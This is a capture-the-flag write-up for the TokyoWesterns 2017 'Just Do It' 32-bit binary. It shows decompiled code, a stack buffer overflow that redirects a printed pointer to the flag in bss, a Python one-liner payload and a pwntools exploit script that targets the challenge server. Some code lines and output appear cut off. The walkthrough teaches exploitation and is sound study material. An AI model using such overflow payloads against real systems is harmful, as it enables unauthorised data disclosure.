Just Do It!

This was originally a pwn challenge from the TokyoWesterns 2017 ctf.

Let's take a look at the binary:

$    file just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa
just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cf72d1d758e59a5b9912e0e83c3af92175c6f629, not stripped
$    pwn checksec just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa
[*] '/Hackery/west/doit/just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

So we can see that it is a 32 bit binary, with a non executable stack. Let's try to run it.

$    ./just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa
file open error.
: No such file or directory

So it is complaining about a file opening error, probably trying to open a file that isn't there. Let's look at the main function in Ghidra:

undefined4 main(void)

  char local_EAX_154;
  FILE *flagFile;
  int cmp;
  char vulnBuf [16];
  FILE *flagHandle;
  char *target;
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  target = failed_message;
  flagFile = fopen("flag.txt","r");
  if (flagFile == (FILE *)0x0) {
    perror("file open error.\n");
                    /* WARNING: Subroutine does not return */
  _local_EAX_154 = fgets(flag,0x30,flagFile);
  if (_local_EAX_154 == (char *)0x0) {
    perror("file read error.\n");
                    /* WARNING: Subroutine does not return */
  puts("Welcome my secret service. Do you know the password?");
  puts("Input the password.");
  _local_EAX_154 = fgets(vulnBuf,0x20,stdin);
  if (_local_EAX_154 == (char *)0x0) {
    perror("input error.\n");
                    /* WARNING: Subroutine does not return */
  cmp = strcmp(vulnBuf,PASSWORD);
  if (cmp == 0) {
    target = success_message;
  return 0;

So we can see that the file it is trying to open is flag.txt. We can also see that this binary will essentially prompt you for a password, and if it is the right password it will print in a logged in message. If not it will print an authentication error. Let's see what the value of PASSWORD is, so we can know what we need to set our input equal to to pass the check:

                             PASSWORD                                        XREF[2]:     Entry Point(*), main:080486d0(R)  
        0804a03c c8 87 04 08     addr       s_P@SSW0RD_080487c8                              = "P@SSW0RD"

So we can see that the string it is checking for is P@SSW0RD. Now since our input is being scanned in through an fgets call, a newline character 0x0a will be appended to the end. So in order to pass the check we will need to put a null byte after P@SSW0RD.

$    python -c 'print "P@SSW0RD" + "\x00"' | ./just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa
Welcome my secret service. Do you know the password?
Input the password.
Correct Password, Welcome!

So we passed the check, however that doesn't solve the challenge. We can see that with the fgets call, we can input 32 bytes worth of data into input. Let's see how many bytes input can hold:

                             *                          FUNCTION                          *
                             undefined main(undefined1 param_1)
             undefined         AL:1           <RETURN>                                XREF[1]:     0804861d(W)  
             undefined1        Stack[0x4]:1   param_1                                 XREF[1]:     080485bb(*)  
             FILE *            EAX:4          flagFile                                XREF[2]:     0804861d(W),
             char              AL:1           local_EAX_154                           XREF[2]:     08048655(W),
             int               EAX:4          cmp                                     XREF[1]:     080486dd(W)  
             undefined4        Stack[0x0]:4   local_res0                              XREF[1]:     080485c2(R)  
             undefined4        Stack[-0xc]:4  local_c                                 XREF[1]:     08048704(R)  
             char *            Stack[-0x14]:4 target                                  XREF[2]:     0804860d(W),
             FILE *            Stack[-0x18]:4 flagHandle                              XREF[3]:     08048625(W),
             char[16]          Stack[-0x28]   vulnBuf                                 XREF[2]:     080486a6(*),
                             main                                            XREF[4]:     Entry Point(*),
                                                                                          _start:080484d7(*), 0804886c,
        080485bb 8d 4c 24 04     LEA        ECX=>param_1,[ESP + 0x4]

So we can see that it can hold 16 bytes worth of data (0x28 - 0x18 = 16). So we effectively have a buffer overflow vulnerability with the fgets call to input. However it appears that we can't reach the eip register to get RCE. However we can reach output_message which is printed with a puts call, right before the function returns. So we can print whatever we want. That makes this code look really helpful:

  stream = fopen("flag.txt", "r");
  if ( !stream )
    perror("file open error.\n");
  if ( !fgets(flag, 48, stream) )
    perror("file read error.\n");

So we can see here that after it opens the flag.txt file, it scans in 48 bytes worth of data into flag. This is interesting because if we can find the address of flag, then we should be able to overwrite the value of output_message with that address and then it should print out the contents of flag, which should be the flag.

  .bss:0804A080 ; char flag[48]
.bss:0804A080 flag            db 30h dup(?)           ; DATA XREF: main+95o
.bss:0804A080 _bss            ends

So here we can see that flag lives in the bss, with the address 0x0804a080. There are 20 bytes worth of data between input and output_message (0x28 - 0x14 = 20). So we can form a payload with 20 null bytes, followed by the address of flag:

  python -c 'print "\x00"*20 + "\x80\xa0\x04\x08"' | ./just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa
Welcome my secret service. Do you know the password?
Input the password.

So we were able to read the contents of flag.txt with our exploit. Let's write an exploit to use the same exploit against the server they have with the challenge running to get the flag. Here is the python code:

#Import pwntools
from pwn import *

#Create the remote connection to the challenge
target = remote('pwn1.chal.ctf.westerns.tokyo', 12482)

#Print out the starting prompt
print target.recvuntil("password.\n")

#Create the payload
payload = "\x00"*20 + p32(0x0804a080)

#Send the payload

#Drop to an interactive shell, so we can read everything the server prints out

Now let's run it:

$    python exploit.py
[+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 12482: Done
Welcome my secret service. Do you know the password?
Input the password.

[*] Switching to interactive mode

[*] Got EOF while reading in interactive
[*] Interrupted
[*] Closed connection to pwn1.chal.ctf.westerns.tokyo port 12482

Just like that, we captured the flag!